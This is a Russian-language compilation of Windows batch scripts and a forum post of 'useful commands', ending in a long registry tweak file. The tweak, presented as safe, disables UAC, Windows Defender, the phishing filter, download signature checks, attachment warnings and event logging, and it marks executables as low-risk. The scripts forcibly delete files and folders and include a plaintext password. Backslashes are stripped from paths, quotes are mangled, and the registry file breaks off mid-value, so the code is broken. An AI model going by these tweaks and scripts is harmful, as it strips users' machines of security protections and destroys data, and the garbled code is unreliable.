Стоит отметить, что кроме вышеперечисленных функций при помощи батников можно также редактировать и системный реестр, об этом наша отдельная публикация: Редактирование реестра Windows из командной строки, bat-файлы. Остаётся только напомнить, что вообще команд огромное количество, а вариантов их сочетаний и вовсе — бесконечное множество. Любую команду можно сначала проверить в командной строке, а только потом добавлять в тело пакетного файла….

Будьте осторожны и удачных вам экспериментов

Источник

Windows

Подключение сетевого диска

disk.bat

net use Y: /del /yes
net use Y: \192.168.0.1share /USER:user1 pAsSw0rd

Закрыть все сеансы подключенных пользователей

kick.bat

net SESSION /DELETE /YES

Ограничение числа входящих подключений в Windows XP

Например при открытии общего доступа к принтеру в сети, если его будут использовать больше 10 человек — могут начаться проблемы.

Как один из вариантов — в планировщике заданий выполнять этот скрипт с правами Администратора каждые 10 мин.

Архивация RAR

rar-full.bat

set LOGFILE="F:backupbackup.log"
set BACKUPFILE="F:backupDocuments-full.%DATE:~-4%%DATE:~3,2%%DATE:~0,2%.rar"
set BACKUPDIR="E:Documents"

"c:Program FilesWinRARRar.exe" a -ep2 -m4 -ow -rr100 -inul -ilog%LOGFILE% %BACKUPFILE% %BACKUPDIR%

Выключить компьютер по сети

shutdown.bat

shutdown -s -f -t 60 -m \comp01

Удаление хлама из документов

delete.bat

set LOGFILE=F:backupdelete.log
echo START %DATE:~-4%%DATE:~3,2%%DATE:~0,2% %TIME:~0,8% >> %LOGFILE% 2>>&1

del E:Documents*.mp3 /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.m3u /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.wav /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.wma /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.wmv /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.flv /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.mpg /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.mp4 /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.avi /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.vob /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.mov /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.exe /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.msi /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.dll /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.dat /s /f /a >> %LOGFILE% 2>>&1
del E:DocumentsThumbs.db /s /f /a >> %LOGFILE% 2>>&1

echo END %DATE:~-4%%DATE:~3,2%%DATE:~0,2% %TIME:~0,8% >> %LOGFILE% 2>>&1
echo "" 2>>&1

Источник

Главная
Песочница
Общий форум
Командная строка, CMD, BAT.

Полезные и нужные команды и батники.

Стаж: 5 лет 2 месяца
Сообщений: 3838
Репутация:47[+] [-]
Откуда: BG

Всем привет!
Решил начать ету тему, так как есть множество ресурсов на полезные команды и батники, но все они разбросаны по всю сеть и если спрошу кто то о помощи в общем никто ничего не знает.
Просьба всем подключиться и поделиться сдесь своими командами и батниками, которые могут пригодится в жизни.
Я буду первым.
Делюсь всем, что успел интересного собрать пока. Ето все полезные комманды.
1. Проверка диска C: с автоматической перезагрузки и проверки с исправлением:

код

echo Y|chkdsk c: /F
shutdown /r /t 0

2. Проверка и исправлениее системных файлов:3.Онлайн проверка и исправление образа системы

код

DISM /Online /Cleanup-Image /RestoreHealth

4. Вход в Advanced Boot Menu напрямую из вина:

код

shutdown.exe /r /o /t 00

5. Систем инфо6. Вызов msconfig:

код

CMD /K if defined PROCESSOR_ARCHITEW6432 (%WINDIR%sysnativemsconfig.exe) else (%WINDIR%system32msconfig.exe)

7. Устранение гибернации и файла hiberfile:8. Информация о MAC и IP сетевых карт9. LogOff
10. Рестарт11. Сброс Winsock — при проблемах с сетьюТоже рекомендую твики Сергея Свирида из его сборку Multiboot_Collection_Full_v.5.0
Следуют батники.
Ситуация следующая.
Переустановил вин и все ушло в Windows.old
Хочу перенести наиболее используемые настройки и файлы юзера в новый вин, после чего все содержимое Windows.old удалить окончательно.

код

@echo off
:: name of User in Windows.old
set «User=User»
set «UserProfileOld=C:Windows.oldUsers%User%»
set «opt= /e /move /xj /NJS /NJH /NP /NC»
:: explorer, чтобы не создавал проблем
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
>nul 2>&1 taskkill /im explorer.exe /f
robocopy «%UserProfileOld%Desktop» «%UserProfile%Desktop» %opt%
robocopy «%UserProfileOld%Documents» «%UserProfile%Documents» %opt%
:: robocopy «%UserProfileOld%Downloads» «%UserProfile%Downloads» %opt%
robocopy «%UserProfileOld%Favorites» «%UserProfile%Favorites» %opt%
robocopy «%UserProfileOld%Pictures» «%UserProfile%Pictures» %opt%
:: robocopy «%UserProfileOld%Music» «%UserProfile%Music» %opt%
:: robocopy «%UserProfileOld%Videos» «%UserProfile%Videos» %opt%
:: robocopy «%UserProfileOld%Saved Games» «%UserProfile%Saved Games» %opt%
:: robocopy «%UserProfileOld%Contacts» «%UserProfile%Contacts» %opt%
robocopy «%UserProfileOld%AppDataRoamingMozilla» «%UserProfile%AppDataRoamingMozilla» %opt%
robocopy «%UserProfileOld%AppDataLocalGoogleChrome» «%UserProfile%AppDataLocalGoogleChrome» %opt%
robocopy «%UserProfileOld%AppDataRoamingAnyDesk» «%UserProfile%AppDataRoamingAnyDesk» %opt%
:: robocopy «%UserProfileOld%AppDataRoamingOpera Software» «%UserProfile%AppDataRoamingOpera Software» %opt%
:: robocopy «%UserProfileOld%AppDataRoamingSkype» «%UserProfile%AppDataRoamingSkype» %opt%
:: robocopy «%UserProfileOld%AppDataRoaming» «%UserProfile%AppDataRoaming» %opt%
:: robocopy «%UserProfileOld%AppDataLocal» «%UserProfile%AppDataLocal» %opt%
::………………………………………………………………..
rmdir /S /Q C:Windows.old
rmdir /S /Q C:Windows.old.000
rmdir /S /Q C:Windows.old.001
rmdir /S /Q C:Windows.old.002
takeown /F C:Windows.old* /R /A
takeown /F C:Windows.old.000* /R /A
takeown /F C:Windows.old.001* /R /A
cacls C:Windows.old*.* /T /grant administrators:F Y
cacls C:Windows.old.000*.* /T /grant administrators:F Y
cacls C:Windows.old.001*.* /T /grant administrators:F Y
rmdir /S /Q C:Windows.old
rmdir /S /Q C:Windows.old.000
rmdir /S /Q C:Windows.old.001
rmdir /S /Q C:Windows.old.002
RD /S /Q %SystemDrive%Windows.old
rmdir /S /Q C:Windows.old
TAKEOWN /F %SystemDrive%Windows.old /A /R /D Y
TAKEOWN /F %SystemDrive%Windows.old.000 /A /R /D Y
ICACLS %SystemDrive%Windows.old /T /grant :r Administrators:F
RD /S /Q %SystemDrive%Windows.old
takeown /F C:Windows.old* /R /A Y
icacls C:Windows.old*.* /T /grant administrators:F Y
rmdir /S /Q C:Windows.old
RD /S /Q %SystemDrive%Windows.old
RD /S /Q %SystemDrive%Windows.old.000
rmdir /S /Q C:Windows.old
rmdir /S /Q C:Windows.old.000
start %WinDir%explorer.exe

И еще один супер мощный твик для всех ОС Моя разработка, скорее всего переделка.
Проверено работает и не создает проблем.

код

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERControl PanelDesktop]
«UserPreferencesMask»=hex(3):90,12,03,80,10,02,00,00
«DragFullWindows»=»0»
[HKEY_CURRENT_USERControl PanelDesktopWindowMetrics]
«MinAnimate»=»0»
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer]
«ShellState»=hex(3):24,00,00,00,3E,28,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,01,00,00,00,13,00,00,00,00,00,00,00,72,00,00,00
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]
«IconsOnly»=dword:00000000
«ListviewAlphaSelect»=dword:00000000
«ListviewShadow»=dword:00000000
«TaskbarAnimations»=dword:00000000
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffects]
«VisualFXSetting»=dword:00000002
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsDWM]
«AlwaysHibernateThumbnails»=dword:00000000
«EnableAeroPeek»=dword:00000000
[HKEY_CLASSES_ROOT*shellrunas]
@=»Take Ownership»
«NoWorkingDirectory»=»»
[HKEY_CLASSES_ROOT*shellrunascommand]
@=»cmd.exe /c takeown /f «%1» && icacls «%1″ /grant administrators:F»
«IsolatedCommand»=»cmd.exe /c takeown /f «%1» && icacls «%1″ /grant administrators:F»
[HKEY_CLASSES_ROOTDirectoryshellrunas]
@=»Take Ownership»
«NoWorkingDirectory»=»»
[HKEY_CLASSES_ROOTDirectoryshellrunascommand]
@=»cmd.exe /c takeown /f «%1» /r /d y && icacls «%1″ /grant administrators:F /t»
«IsolatedCommand»=»cmd.exe /c takeown /f «%1» /r /d y && icacls «%1″ /grant administrators:F /t»
[HKEY_CURRENT_USERControl PanelDesktop]
«AutoEndTasks»=»1»
«HungAppTimeout»=»1000»
«MenuShowDelay»=»1»
«WaitToKillAppTimeout»=»2000»
«LowLevelHooksTimeout»=»1000»
[HKEY_CURRENT_USERControl PanelMouse]
«MouseHoverTime»=»8»
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer]
«NoLowDiskSpaceChecks»=dword:00000001
«LinkResolveIgnoreLinkInfo»=dword:00000001
«NoResolveSearch»=dword:00000001
«NoResolveTrack»=dword:00000001
«NoInternetOpenWith»=dword:00000001
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl]
«WaitToKillServiceTimeout»=»2000»
[HKEY_CLASSES_ROOTCLSID{018D5C66-4533-4307-9B53-224DE2ED1FE6}]
«System.IsPinnedToNameSpaceTree»=dword:00000000
[HKEY_CLASSES_ROOTCLSID{018D5C66-4533-4307-9B53-224DE2ED1FE6}]
«System.IsPinnedToNameSpaceTree»=dword:00000000
[HKEY_CLASSES_ROOTWow6432NodeCLSID{018D5C66-4533-4307-9B53-224DE2ED1FE6}]
«System.IsPinnedToNameSpaceTree»=dword:00000000
[HKEY_LOCAL_MACHINESoftwareClassesDriveshellcmd]
@=»@shell32.dll,-8506″
«icon»=»cmd.exe»
[HKEY_LOCAL_MACHINESoftwareClassesDriveshellcmdcommand]
@=»cmd.exe /s /k pushd «%V»»
[HKEY_LOCAL_MACHINESoftwareClassesDirectoryshellcmd]
@=»@shell32.dll,-8506″
«icon»=»cmd.exe»
[HKEY_LOCAL_MACHINESoftwareClassesDirectoryshellcmdcommand]
@=»cmd.exe /s /k pushd «%V»»
;Параметры значков Рабочего стола
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerHideDesktopIconsNewStartPanel]
;Отображать значок Компьютер на Рабочем столе
«{20D04FE0-3AEA-1069-A2D8-08002B30309D}»=dword:00000000
;Не отображать значок Сеть на Рабочем столе
«{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}»=dword:00000000
;Отобразить значок Пользователь на Рабочем столе
«{59031a47-3f72-44a7-89c5-5595fe6b30ee}»=dword:00000000
;Отобразить значок Панель управления на Рабочем столе
«{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}»=dword:00000000
;Отобразить значок Корзина на Рабочем столе
«{645FF040-5081-101B-9F08-00AA002F954E}»=dword:00000000
;Включить поиск неверных ссылок (ярлыков)
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer]
«NoResolveTrack»=dword:00000000
«LinkResolveIgnoreLinkInfo»=dword:00000000
«NoResolveSearch»=dword:00000000
;»Учетные записи пользователей» (control userpasswords2) на панель управления
[HKEY_LOCAL_MACHINESoftwareClassesCLSID{98641F47-8C25-4936-BEE4-C2CE1298969D}]
@=»@netplwiz,-12182″
[HKEY_LOCAL_MACHINESoftwareClassesCLSID{98641F47-8C25-4936-BEE4-C2CE1298969D}DefaultIcon]
@=hex(2):25,00,73,00,79,00,73,00,74,00,65,00,6d,00,72,00,6f,00,6f,00,74,00,25,
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,6e,00,65,00,
74,00,70,00,6c,00,77,00,69,00,7a,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,31,
00,31,00,32,00,00,00
[HKEY_LOCAL_MACHINESoftwareClassesCLSID{98641F47-8C25-4936-BEE4-C2CE1298969D}ShellOpencommand]
@=»rundll32.exe netplwiz.dll,UsersRunDll»
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpace{98641F47-8C25-4936-BEE4-C2CE1298969D}]
@=»control userpasswords2 to Control Panel»
;Дополнительные настройки проводника
[HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorer]
;He дoбaвлять»Яpлык для…» для coздaвaeмыx яpлыкoв
«link»=hex:00,00,00,00
;Отображать стрелки ярлыков
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionExplorerShell Icons]
«29»=-
[HKEY_LOCAL_MACHINESoftwareClasseslnkfile]
«IsShortCut»=»»
«IsNotShortCut»=-
;Расширенные настройки проводника
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]
;Отображать скpытыe фaйлы и пaпки:
«Hidden»=dword:00000000
;Не показывать защищенные системные файлы:
«ShowSuperHidden»=dword:00000000
;Скрывать расширения зарегистрированных типов файлов
«HideFileExt»=dword:00000000
;Отключить Центр начальной настройки при запуске
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
«WindowsWelcomeCenter»=-
;Отключить заставку в Windows Mail:
[HKEY_CURRENT_USERSoftwareMicrosoftWindows Mail]
«NoSplash»=dword:00000001
;Настройка контроля учётных записей
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem]
«EnableLUA»=dword:00000000
;Выполнение программ Администратором без запроса
«ConsentPromptBehaviorAdmin»=dword:00000000
«ConsentPromptBehaviorUser»=dword:00000000
;Не спрашивать при запуске приложений
«PromptOnSecureDesktop»=dword:00000000
;Запускать с полными правами администратора
«FilterAdministratorToken»=dword:00000000
;Список «безопасных» типов файлов для загрузки из интернета
[HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesAssociations]
«LowRiskFileTypes»=».zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;»
;Отключить предупреждение при открытии файлов, загруженных из Интернета
[HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesAttachments]
«SaveZoneInformation»=dword:00000001
;Убрать диалог с поиском соотвествия в интернете
;при открытии неизвестных типов файлов
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem]
«NoInternetOpenWith»=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer]
«NoInternetOpenWith»=dword:00000001
;Всплывающее напоминание об активации:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSLActivation]
«NotificationDisabled»=dword:00000001
;Отключить значок «Центр поддержки» в области уведомлений
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer]
«HideSCAHealth»=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain]
«DisableFirstRunCustomize»=dword:00000001
;Очистить историю введенных адресов в IE:
[-HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerTypedURLs]
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain]
«IE9TourNoShow»=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain]
«Start Page»=»google.com»
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerPhishingFilter]
«EnabledV9″=dword:00000000
;Удалить все поисковики
[-HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerSearchScopes]
;Добавить Google
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerSearchScopes{447A5F12-397A-4A20-9EBD-0462710861CF}]
«DisplayName»=»Google»
«URL»=»http://www.google.bg={searchTerms}»
«ShowSearchSuggestions»=dword:00000001
;Добавить Google
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerSearchScopes{7C48FA5A-0A98-4590-A75C-0C82317A77DF}]
«DisplayName»=»Google»
«URL»=»http://www.google.com/search?hl=bg&q={searchTerms}»
;»SuggestionsURL_JSON»=»http://suggestqueries.google.com/complete/search?output=firefox&client=firefox&qu={searchTerms}»
«FaviconURL»=»http://www.google.com/favicon.ico»
«ShowSearchSuggestionsGlobal»=dword:00000001
«ShowSearchSuggestionsInAddressGlobal»=dword:00000001
«FaviconPath»=»%USERPROFILE%\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{7C48FA5A-0A98-4590-A75C-0C82317A77DF}.ico»
«ShowSearchSuggestions»=dword:00000001
«OSDFileURL»=»http://www.iegallery.com/DownloadHandler.ashx?ResourceId=1681»
«ShowSearchSuggestionsInAddressGlobal»=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerSearchScopes{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
;Порядок поисковиков в списке: Google, Яндекс, Bing
«SortIndex»=dword:00000003
;Удалить bing
«Deleted»=dword:00000001
;Отключить использование рекомендуемых сайтов
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerSuggested Sites]
«Enabled»=dword:00000000
;Разрешить запуск активного содержимого файлов на моем компьютере
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainFeatureControlFEATURE_LOCALMACHINE_LOCKDOWN]
«iexplore.exe»=dword:00000000
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainFeatureControlFEATURE_LOCALMACHINE_LOCKDOWNSettings]
;Разрешить запуск активного содержимого компакт-дисков на моем компьютере
«LOCALMACHINE_CD_UNLOCK»=dword:00000001
;Панель избранного
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerLinksBar]
«Enabled»=dword:00000000
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDownload]
;Не проверять цифровую подпись загружаемых программ
«CheckExeSignatures»=»no»
;Запускать программы с непроверенной цифровой подписью
«RunInvalidSignatures»=dword:00000001
;Автозапуск: смешанное содержимое — открыть папку
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAutoplayHandlersEventHandlersDefaultSelectionMixedContentOnArrival]
@=»MSOpenFolder»
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAutoplayHandlersUserChosenExecuteHandlersMixedContentOnArrival]
@=»MSOpenFolder»
;Отключение службы регистрации ошибок Windows (Windows Error Reporting Service)
[HKEY_LOCAL_MACHINESystemControlSet001servicesWerSvc]
«Start»=dword:00000004
;Отключение отчетов о программных ошибках в Windows
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsWindows Error Reporting]
«Disabled»=dword:00000001
;Отключить отчет об ошибках Internet Explorer
[HKEY_LOCAL_MACHINESoftwareMicrosoftInternet ExplorerMAIN]
«IEWatsonDisabled»=dword:00000001
«IEWatsonEnabled»=dword:00000000
;Отключить отчет об ошибках WIndows
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsWindows Error Reporting]
«Disabled»=dword:00000001
;Не обращаться к средствам устранения неполадок через интернет
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsScriptedDiagnosticsProviderPolicy]
«EnableQueryRemoteServer»=dword:00000000
;Отключить кеширование изображений thumbnails
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]
«DisableThumbnailCache»=dword:00000001
;Уменьшить время до начала проверки диска при старте системы (Scandisk) до 5 сек.
[HKEY_LOCAL_MACHINESystemControlSet001ControlSession Manager]
«AutoChkTimeOut»=dword:00000005
;Оставлять ядро системы в памяти (не сбрасывать в файл подкачки, по умолчанию отключено).
[HKEY_LOCAL_MACHINESystemControlSet001ControlSession ManagerMemory Management]
«DisablePagingExecutive»=dword:00000001
;Увеличить приоритет прерывания IRQ8 увеличивает скорость работы системы.
[HKEY_LOCAL_MACHINESystemControlSet001ControlPriorityControl]
«IRQ8Priority»=dword:00000001
;Управление детализацией сообщений при загрузке и выключении, а также протоколирование загрузки.
;(Не показывать системные сообщения)
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
«DisableStatusMessages»=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionAction CenterChecks{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0]
«CheckSetting»=hex:23,00,41,00,43,00,42,00,6c,00,6f,00,62,00,00,00,00,00,00,00,
00,00,00,00,01,00,00,00,b5,27,b1,f9,00,00,00,00
;Скрыть мастер выбора типа сети и считать все сети общественными
[HKEY_LOCAL_MACHINESystemControlSet001ControlNetworkNetworkLocationWizard]
«HideWizard»=dword:00000001
;Отключить защитник Windows
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Defender]
«DisableAntiSpyware»=dword:00000001
[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows Defender]
«DisableAntiSpyware»=dword:00000001
;Отключить службу Защитник Windows
[HKEY_LOCAL_MACHINESystemControlSet001ServicesWinDefend]
«Start»=dword:00000003
;Служба журнала событий
[HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsEventLogSetup]
«Enabled»=»0»
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionAeDebug]
«Auto»=»0»
;####################ТВИКИ ВИЗУАЛЬНЫХ ЭФФЕКТОВ#########################
[-HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerVisualEffects]
;Увеличить частоту мерцания курсора
[HKEY_CURRENT_USERControl PanelDesktop]
«CursorBlinkRate»=»200»
[HKEY_CURRENT_USERControl PanelDesktopWindowMetrics]
«MinAnimate»=»0»
;Отключение анимации окон при свертывании и развертывании
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsAnimateMinMax]
«DefaultApplied»=dword:00000001
«DefaultValue»=dword:00000000
[HKEY_CURRENT_USERControl PanelDesktopWindowMetrics]
«MinAnimate»=»0»
;Отключение скольжения при раскрытии списков
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsComboBoxAnimation]
«DefaultApplied»=dword:00000001
«DefaultValue»=dword:00000000
;Отключение отображения тени под указателем мыши
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsCursorShadow]
«DefaultApplied»=dword:00000001
«DefaultValue»=dword:00000000
;Отображение содержимого окна при перетаскивании
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsDragFullWindows]
«DefaultApplied»=dword:00000001
«DefaultValue»=dword:00000001
«DefaultByAlphaTest»=dword:00000001
[HKEY_CURRENT_USERControl PanelDesktop]
«DragFullWindows»=»1»
;Отключение отображения теней, отбрасываемых меню
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsDropShadow]
«DefaultApplied»=dword:00000001
«DefaultValue»=dword:00000000
«DefaultByAlphaTest»=dword:00000000
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsDropShadow]
«DefaultValue»=dword:00000000
«DefaultByAlphaTest»=dword:00000000
;»Включить Aero Peek»
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsDWMAeroPeekEnabled]
«DefaultApplied»=dword:00000001
«DefaultValue»=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsDWM]
«EnableAeroPeek»=dword:00000000
;»Включить композиции рабочего стола»
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsDWMEnabled]
«DefaultApplied»=dword:00000001
«DefaultValue»=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsDWM]
;!ТУТ НАОБОРОТ 1 — откл, 0 — вкл
«CompositionPolicy»=dword:00000001
;Откл Сохранить вид эскизов панели задач
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsDWMSaveThumbnailEnabled]
«DefaultApplied»=dword:00000001
«DefaultValue»=dword:00000000
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsDWM]
«AlwaysHibernateThumbnails»=dword:00000000
;Отключение гладкого прокручивания списков
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsListBoxSmoothScrolling]
«DefaultApplied»=dword:00000001
«DefaultValue»=dword:00000000
«DefaultByAlphaTest»=dword:00000000
;Отключить отображение прозрачного прямоугольника при выделении
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsListviewAlphaSelect]
«DefaultApplied»=dword:00000001
«DefaultByAlphaTest»=dword:00000000
«DefaultValue»=dword:00000000
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]
«ListviewAlphaSelect»=dword:00000000
;Отключение отбрасывания теней значками на рабочем столе
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsListviewShadow]
«DefaultApplied»=dword:00000001
«DefaultByAlphaTest»=dword:00000001
«DefaultValue»=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]
«ListviewShadow»=dword:00000000
;Отключение отображения фоновых рисунков для различных типов папок
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsListviewWatermark]
«DefaultApplied»=dword:00000001
«DefaultValue»=dword:00000000
«DefaultByAlphaTest»=dword:00000000
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]
«ListviewWatermark»=dword:00000000
;Отключить эффекты затухания или скольжения при обращении к меню
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsMenuAnimation]
«DefaultApplied»=dword:00000001
«DefaultByAlphaTest»=dword:00000000
«DefaultValue»=dword:00000000
[HKEY_CURRENT_USERControl PanelDesktop]
«UserPreferencesMask»=hex:90,12,01,80
;Отключить затухание меню после вызова команды
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsSelectionFade]
«DefaultApplied»=dword:00000001
«DefaultByAlphaTest»=dword:00000000
«DefaultValue»=dword:00000000
;Отключение скольжения кнопок панели задач
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsTaskbarAnimations]
«DefaultApplied»=dword:00000001
«DefaultByAlphaTest»=dword:00000000
«DefaultValue»=dword:00000000
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]
«TaskbarAnimations»=dword:00000000
;Отключить эффекты затухания или скольжения при появлении подсказок
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsTooltipAnimation]
«DefaultApplied»=dword:00000001
«DefaultByAlphaTest»=dword:00000000
«DefaultValue»=dword:00000000
;Отключить эффект для меню и подсказок
[HKEY_CURRENT_USERControl PanelDesktop]
«SmoothScroll»=dword:00000000
;Эффект прозрачности
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsTransparentGlass]
«DefaultApplied»=dword:00000001
«DefaultValue»=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsDWM]
;0-вкл, 1-выкл
«ColorizationOpaqueBlend»=dword:00000001
;Анимированные элементы управления и элементы внутри окна
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerVisualEffectsControlAnimations]
«DefaultApplied»=dword:00000000
«DefaultValue»=dword:00000000
[HKEY_CURRENT_USERControl PanelDesktop]
«UserPreferencesMask»=hex:90,12,03,80,12,00,00,00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows Photo ViewerCapabilitiesFileAssociations]
«.jpg»=»PhotoViewer.FileAssoc.Jpeg»
«.wdp»=»PhotoViewer.FileAssoc.Wdp»
«.jfif»=»PhotoViewer.FileAssoc.JFIF»
«.dib»=»PhotoViewer.FileAssoc.Bitmap»
«.png»=»PhotoViewer.FileAssoc.Png»
«.jxr»=»PhotoViewer.FileAssoc.Wdp»
«.bmp»=»PhotoViewer.FileAssoc.Bitmap»
«.jpe»=»PhotoViewer.FileAssoc.Jpeg»
«.jpeg»=»PhotoViewer.FileAssoc.Jpeg»
«.gif»=»PhotoViewer.FileAssoc.Gif»
[HKEY_CLASSES_ROOTPhotoViewer.FileAssoc.Bitmap]
«ImageOptionFlags»=dword:00000001
«FriendlyTypeName»=hex(2):40,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,
